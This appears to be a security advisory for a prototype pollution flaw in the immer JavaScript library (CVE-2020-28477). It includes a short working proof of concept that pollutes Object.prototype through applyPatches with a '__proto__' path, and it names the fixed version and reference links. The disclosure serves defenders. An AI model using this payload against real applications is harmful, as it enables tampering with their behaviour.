Affected versions of immer are vulnerable to Prototype Pollution.
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213
github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5
github.com/immerjs/immer/issues/738
nvd.nist.gov/vuln/detail/CVE-2020-28477
snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986
snyk.io/vuln/SNYK-JS-IMMER-1019369
www.npmjs.com/package/immer